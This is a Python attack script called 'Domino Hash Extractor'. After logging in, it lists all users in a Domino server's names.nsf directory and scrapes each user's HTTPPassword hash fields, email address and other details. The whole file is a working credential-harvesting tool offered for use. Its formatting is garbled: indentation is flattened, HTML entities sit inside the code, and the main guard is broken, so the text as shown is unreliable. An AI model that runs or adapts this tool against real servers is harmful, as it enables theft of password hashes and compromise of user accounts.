#!/usr/bin/env python3
# -*- coding: utf-8 -*-
Updated at 2022-08-16 17:32
Created by Chris Lin <chris(at)kulisu.me>
import asyncio
from argparse import ArgumentParser, Namespace

from datetime import datetime

from re import findall

from typing import Dict, List, Optional
from aiohttp import BasicAuth, ClientSession, ClientTimeout, TCPConnector
def get_iso8601_timestamp() -> str:

"""

Get formatted ISO 8601 date string

"""
return datetime.now().astimezone().strftime(&#39;%Y-%m-%dT%H:%M:%S.%f%z&#39;)

async def send_form_login(session: ClientSession, url: str, username: str, password: str, pattern='LoginForm') -> bool:

"""

Send form authentication request and return True if succeed

"""
result: bool = False

try:
    url: str = f&#34;{url}/names.nsf?Login&#34;
    data: Dict[str, str] = {&#39;Username&#39;: username, &#39;Password&#39;: password}

    async with session.post(url=url, data=data, allow_redirects=False) as response:
        if pattern not in await response.text(errors=&#39;ignore&#39;):
            result = True
except Exception as error:
    print(
        f&#34;[E] {get_iso8601_timestamp()} Failed to invoke `send_form_login`&#34;
        f&#34;, {error.__class__.__name__}: {error}&#34;
    )

return result

async def send_http_login(session: ClientSession, url: str, pattern='Error 401') -> bool:

"""

Send HTTP authentication request and return True if succeed

"""
result: bool = False

try:
    url: str = f&#34;{url}/names.nsf&#34;

    async with session.get(url=url, allow_redirects=False) as response:
        if pattern not in await response.text(errors=&#39;ignore&#39;):
            result = True
except Exception as error:
    print(
        f&#34;[E] {get_iso8601_timestamp()} Failed to invoke `send_http_login`&#34;
        f&#34;, {error.__class__.__name__}: {error}&#34;
    )

return result

async def fetch_users_list(session: ClientSession, url: str, start: int = 1) -> List[str]:

"""

Fetch all users list (pagination) from remote server

"""
result: List[str] = []

try:
    url: str = f&#34;{url}/names.nsf/$defaultview?Readviewentries&amp;Start={start}&#34;

    # Fetch record ID (unid) and current index (position)
    # &lt;viewentry position=&#34;30&#34; unid=&#34;AD83ACC76CC5960E9CBD06E9D8C29407&#34; noteid=&#34;1ABCD&#34; siblings=&#34;1234&#34;&gt;
    user_pattern: str = &#39;&lt;viewentry.*position=\&#34;(.*?)\&#34;.*unid=\&#34;(.*?)\&#34;.*&gt;&#39;

    # Fetch total record count (toplevelentries)
    # &lt;viewentries timestamp=&#34;20220816T085800,01Z&#34; toplevelentries=&#34;1234&#34;&gt;
    page_pattern: str = &#39;&lt;viewentries.*toplevelentries=\&#34;(.*?)\&#34;.*&gt;&#39;

    async with session.get(url=url, allow_redirects=False) as response:
        for user in findall(user_pattern, await response.text(errors=&#39;ignore&#39;)):
            if user and len(user) and user[-1] not in result:
                result.append(user[-1])

        for page in findall(page_pattern, await response.text(errors=&#39;ignore&#39;)):
            if page and len(page) and int(page) &gt; 0:
                if int(user[0]) &lt; int(page):
                    result.extend(await fetch_users_list(session, url, int(user[0]) + 1))
except Exception as error:
    print(
        f&#34;[E] {get_iso8601_timestamp()} Failed to invoke `fetch_users_list`&#34;
        f&#34;, {error.__class__.__name__}: {error}&#34;
    )

return result

async def fetch_user_information(session: ClientSession, url: str, _id: str, fields: List[str]) -> Dict[str, str]:

"""

Fetch detailed user information from remote server

"""
result: Dict[str, str] = {}

try:
    url: str = f&#34;{url}/names.nsf/$defaultview/{_id.upper()}?OpenDocument&#34;

    async with session.get(url=url, allow_redirects=False) as response:
        html: str = await response.text(errors=&#39;ignore&#39;)

        if html and len(html) and &#39;httppassword&#39; in html.lower():
            for field in fields:
                pattern: str = f&#34;&lt;input.*name=\&#34;{field}\&#34;.*value=\&#34;(.*?)\&#34;.*&gt;&#34;

                for match in findall(pattern, html):
                    if match and len(match):
                        result[field] = match
                        break
except Exception as error:
    print(
        f&#34;[E] {get_iso8601_timestamp()} Failed to invoke `fetch_user_information`&#34;
        f&#34;, {error.__class__.__name__}: {error}&#34;
    )

return result

async def main() -> None:

# Customize aiohttp settings

connector: TCPConnector = TCPConnector(ssl=False)

timeout: ClientTimeout = ClientTimeout(total=300, connect=60)
parser: ArgumentParser = ArgumentParser(description=&#39;Domino Hash Extractor&#39;)
parser.add_argument(&#39;-t&#39;, &#39;--target&#39;, help=&#39;Target URL, example: https://example.com&#39;, type=str, required=True)
# TODO: separate username and password to both authentication protocols ?
parser.add_argument(&#39;-u&#39;, &#39;--username&#39;, help=&#39;Login Username, example: admin&#39;, type=str, required=True)
parser.add_argument(&#39;-p&#39;, &#39;--password&#39;, help=&#39;Login Password, example: 123456&#39;, type=str, required=True)
parser.add_argument(&#39;-F&#39;, &#39;--form-auth&#39;, help=&#39;Use form authentication&#39;, action=&#39;store_true&#39;)
parser.add_argument(&#39;-H&#39;, &#39;--http-auth&#39;, help=&#39;Use HTTP authentication&#39;, action=&#39;store_true&#39;)
args: Namespace = parser.parse_args()

if not args.form_auth and not args.http_auth:
    print(f&#34;[E] {get_iso8601_timestamp()} Please specify either `--form-auth` or `--http-auth` option&#34;)
    exit(1)

auth: Optional[BasicAuth] = BasicAuth(args.username, args.password) if args.http_auth else None

fields: List[str] = [
    &#39;DisplayName&#39;, &#39;$dspHTTPPassword&#39;, &#39;HTTPPassword&#39;, &#39;dspHTTPPassword&#39;,
    &#39;InternetAddress&#39;, &#39;Comment&#39;, &#39;LastMod&#39;, &#39;HTTPPasswordChangeDate&#39;,
]

async with ClientSession(connector=connector, auth=auth, timeout=timeout, trust_env=True) as session:
    if args.form_auth:
        if await send_form_login(session, args.target, args.username, args.password):
            pass
        else:
            print(
                f&#34;[E] {get_iso8601_timestamp()} Failed to login as `{args.username}`, &#34;
                f&#34;please check form credential&#34;
            )

            exit(1)

    if args.http_auth:
        if await send_http_login(session, args.target):
            pass
        else:
            print(
                f&#34;[E] {get_iso8601_timestamp()} Failed to login as `{args.username}`, &#34;
                f&#34;please check HTTP credential&#34;
            )

            exit(1)

    users: List[str] = await fetch_users_list(session, args.target)

    if users:
        for i in range(0, len(users), 10):
            tasks: List[asyncio.Task] = []

            for user in users[i:i + 10]:
                tasks.append(
                    asyncio.create_task(
                        fetch_user_information(session, args.target, user, fields)
                    )
                )

            if tasks and len(tasks) &gt; 0:
                await asyncio.gather(*tasks, return_exceptions=True)

                for task in tasks:
                    if task.result():
                        parsed: str = &#39;\t&#39;.join(task.result().values())
                        print(f&#34;[v] {parsed}&#34;)
    else:
        print(f&#34;[E] {get_iso8601_timestamp()} Failed to fetch users list, please check HTTP response&#34;)

if name == 'main':

asyncio.run(main())